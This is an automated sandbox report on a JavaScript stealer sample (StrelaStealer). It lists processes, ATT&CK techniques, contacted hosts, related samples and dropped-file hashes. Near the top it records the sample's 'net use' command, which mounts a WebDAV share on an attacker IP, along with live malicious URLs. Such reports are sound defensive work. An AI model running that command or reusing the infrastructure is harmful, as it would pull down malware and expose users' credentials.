Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
168423236840504572.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer
168423236840504572.js	11%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/z	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/z	net.exe, 00000007.00000002.1370784798.0000019E70B53000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2595672613.000002CDC2400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1370784798.0000019E70B53000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1370784798.0000019E70B6E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1370784798.0000019E70B18000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.1370784798.0000019E70B18000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1371481521.000002CDC2600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588550
Start date and time:	2025-01-11 02:17:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	168423236840504572.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.22.41.97, 3.233.129.217, 3.219.243.226, 52.6.155.20, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 13.107.246.45, 18.213.11.84, 4.245.163.56, 104.78.188.188, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:18:16	API Interceptor	18x Sleep call for process: powershell.exe modified
20:18:20	API Interceptor	1x Sleep call for process: net.exe modified
20:18:21	API Interceptor	2x Sleep call for process: svchost.exe modified
20:18:27	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	795324045931728678.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807533320242158
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9/:0J7adfWuK0p/QDfKoPeuP0aN4fqoxQ
MD5:	73837DECD386482CB59655DC74132DBD
SHA1:	3C01235A5B3410626F95C7BFC86381E84CE9B705
SHA-256:	831F5EB0659877B6DE21FCA94BED8E7F51B5EC29523EE7537EF1FB6AE52060A7
SHA-512:	7EE421B11960DFE8839905F23A8BE17AACEB78C1DB5E822C51B98158E008A7A32E88E80CA6005FF4F43A95DD18DD9372FDB5D07EE63D221D5423E7234A044DD4
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb134f840, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880482072747688
Encrypted:	false
SSDEEP:	1536:nSB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:nazaPv4V4fXq2UaB
MD5:	3AE6D9F1D2C2E4288D7881633A0CFC7D
SHA1:	BDDBAE8253965C5F5BEF3FA069758A05CA18E22F
SHA-256:	892474D1ADBB8BCB635475F92443250F7039CF912717580C21882F437CBFEE9F
SHA-512:	D6042368254D9655D53D757EE8A6817903E0468D4F58780635A02F339C26E4451839259F9A558513695D4072986CB39E68D11C74207580DEA65CE11EA7B864B5
Malicious:	false
Preview:	.4.@... ...............X\...;...{......................X............{.......}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{..................................w.~......}.8................v........}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08136402894011019
Encrypted:	false
SSDEEP:	3:7m1KYeHUu21VXlVG0+q2Iqe8lQfltlallNTt/4ll/Q6beV/:mKzHmDGE8lQfXAHtc6V
MD5:	8F950EC413A95BDFD5FB852177CD93F7
SHA1:	935314FEDD7AA20CC20A14078547846FB61A8E7F
SHA-256:	28721329931B04E093DA935F55D5B0D5413CCFDF9EA5A3DF22059BE6C6A665CE
SHA-512:	A0FE7E490A03427AB8F0B200F04D6BDA78862307E91600F2B1F7DEA217DB856F5878B34EBFB168714981E09A323DC82AA9B566753C30E23EE8C65A2A58BE834D
Malicious:	false
Preview:	H..).....................................;...{.......}.......{...............{.......{....:......{.................v........}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.173200519936172
Encrypted:	false
SSDEEP:	6:iO4qVN4q2PFi2nKuAl9OmbnIFUtSqVomZmwsqVoakwOFi2nKuAl9OmbjLJ:7nOvdZHAahFUtZB/Lb5wZHAaSJ
MD5:	D0EBFEEAD645B9BC06001AD03D7685E9
SHA1:	B06C3ADA70FFAF5E199B21DB7395D1C49B83FBE8
SHA-256:	FD0B678E23BC83385769AC275D24686C8DA0A7B1CB475544301116457AA18573
SHA-512:	42A0A5AB7F5CA206A1C21BF848CDB74C86189E834E5F447CE0117C0423AE8B9DF1EA0A9639A0CB3A4EFD6C7A5516CEFB4AA289AAC2BA3EC2240DD2C3FF726FD4
Malicious:	false
Preview:	2025/01/10-20:18:20.316 6c4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:18:20.318 6c4 Recovering log #3.2025/01/10-20:18:20.318 6c4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.173200519936172
Encrypted:	false
SSDEEP:	6:iO4qVN4q2PFi2nKuAl9OmbnIFUtSqVomZmwsqVoakwOFi2nKuAl9OmbjLJ:7nOvdZHAahFUtZB/Lb5wZHAaSJ
MD5:	D0EBFEEAD645B9BC06001AD03D7685E9
SHA1:	B06C3ADA70FFAF5E199B21DB7395D1C49B83FBE8
SHA-256:	FD0B678E23BC83385769AC275D24686C8DA0A7B1CB475544301116457AA18573
SHA-512:	42A0A5AB7F5CA206A1C21BF848CDB74C86189E834E5F447CE0117C0423AE8B9DF1EA0A9639A0CB3A4EFD6C7A5516CEFB4AA289AAC2BA3EC2240DD2C3FF726FD4
Malicious:	false
Preview:	2025/01/10-20:18:20.316 6c4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:18:20.318 6c4 Recovering log #3.2025/01/10-20:18:20.318 6c4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.146769120045238
Encrypted:	false
SSDEEP:	6:iO4qVVB+q2PFi2nKuAl9Ombzo2jMGIFUtSqVVvZmwsqVVvVkwOFi2nKuAl9Ombzz:7nOvdZHAa8uFUtZl/L35wZHAa8RJ
MD5:	9B30F5F1243788EEC35A45B7A4EA0254
SHA1:	3A79ED0DDC5E07FB1B2B233F0E184CEDA2F53C46
SHA-256:	E629BEE7EF20B86119464D7710818486215AE2C5E7CC8C62EEFD6899BE7F5781
SHA-512:	FDA946BEE740E76908106A990EBDD0A8B20ECBA3AC9256F8EB7755E0897A76F9EA4CDEEF9A466BB65554A10EFD145BC0C42C178F0A7C89E95F29E973F2EDA061
Malicious:	false
Preview:	2025/01/10-20:18:20.470 178 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:18:20.472 178 Recovering log #3.2025/01/10-20:18:20.472 178 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.146769120045238
Encrypted:	false
SSDEEP:	6:iO4qVVB+q2PFi2nKuAl9Ombzo2jMGIFUtSqVVvZmwsqVVvVkwOFi2nKuAl9Ombzz:7nOvdZHAa8uFUtZl/L35wZHAa8RJ
MD5:	9B30F5F1243788EEC35A45B7A4EA0254
SHA1:	3A79ED0DDC5E07FB1B2B233F0E184CEDA2F53C46
SHA-256:	E629BEE7EF20B86119464D7710818486215AE2C5E7CC8C62EEFD6899BE7F5781
SHA-512:	FDA946BEE740E76908106A990EBDD0A8B20ECBA3AC9256F8EB7755E0897A76F9EA4CDEEF9A466BB65554A10EFD145BC0C42C178F0A7C89E95F29E973F2EDA061
Malicious:	false
Preview:	2025/01/10-20:18:20.470 178 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:18:20.472 178 Recovering log #3.2025/01/10-20:18:20.472 178 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8f09b5fe-1737-4f22-ac48-6902f9344b04.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6ea726.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c48129e1-55c3-4a87-aa1d-eccecb3620c1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.9569566983434665
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqE2sBdOg2Hvcaq3QYiubpP7E4T3y:Y2sRdsHbdMHe3QYhbd7nby
MD5:	E62516D7B78B6CE65125ACACF6CF5810
SHA1:	1F6B4A4AB2FA3283082B65B8D5043532B60D3561
SHA-256:	A8F599166130CFD7CA662C11E681C397765951A27E573838CB63D256182C4C7C
SHA-512:	2EBC578083E12C106F5D106D6832E01BA03652FA0B18ED88A460298C770147CA23139AE4FEEF2DB4875D3C1B01CB6FA4668D89653F0FECDE45925D3A459A78F4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118312143605","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132940},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.235677584128393
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEV3jzjEZS+:wshFT0h7cZb2EVKZPEANcGIK5EV3jXEf
MD5:	C2656E52A7319695CFE72FCB63285E40
SHA1:	60678641B3B8C8DDFA4910C2F5B44D6859B29C6E
SHA-256:	BC1D4FEA6A1D55619E306C2B67BC45AAC449E357B7394506F1C86055F1FB4DA7
SHA-512:	AD0D6E3A57C332EB5BCFE23CBB4D86311E71900FC31EDFC4BF1CA4DC5D733048BCC3E7E678469FA8A16DAA2A7ADB3F900516E286397C94E7750BE1BDDB811A8A
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.1716376072465975
Encrypted:	false
SSDEEP:	6:iO4qVYSX9+q2PFi2nKuAl9OmbzNMxIFUtSqVg/ZmwsqV59VkwOFi2nKuAl9OmbzE:7nYSovdZHAa8jFUtZg//LJ5wZHAa84J
MD5:	B58A60EA6BD371549AE6AA4570F4652B
SHA1:	AB5DF7792DECEC59027CBA65A0EE7CA0BDF2A00B
SHA-256:	BED7D44D7FF678975FD6A92B7E33D7F4D436236ABD95CA6955B2420335A647FC
SHA-512:	D428C33C55CC5650E425CE85A2B5B5E16ED0491887BEAC5D581BF773E1C2B4CD1EB4CAE38E9E9CF674C44CC856AB04C6823DF8237C95F7AE6A1AA6E32F19B04B
Malicious:	false
Preview:	2025/01/10-20:18:20.784 178 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:18:20.785 178 Recovering log #3.2025/01/10-20:18:20.786 178 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.1716376072465975
Encrypted:	false
SSDEEP:	6:iO4qVYSX9+q2PFi2nKuAl9OmbzNMxIFUtSqVg/ZmwsqV59VkwOFi2nKuAl9OmbzE:7nYSovdZHAa8jFUtZg//LJ5wZHAa84J
MD5:	B58A60EA6BD371549AE6AA4570F4652B
SHA1:	AB5DF7792DECEC59027CBA65A0EE7CA0BDF2A00B
SHA-256:	BED7D44D7FF678975FD6A92B7E33D7F4D436236ABD95CA6955B2420335A647FC
SHA-512:	D428C33C55CC5650E425CE85A2B5B5E16ED0491887BEAC5D581BF773E1C2B4CD1EB4CAE38E9E9CF674C44CC856AB04C6823DF8237C95F7AE6A1AA6E32F19B04B
Malicious:	false
Preview:	2025/01/10-20:18:20.784 178 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:18:20.785 178 Recovering log #3.2025/01/10-20:18:20.786 178 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438568824751712
Encrypted:	false
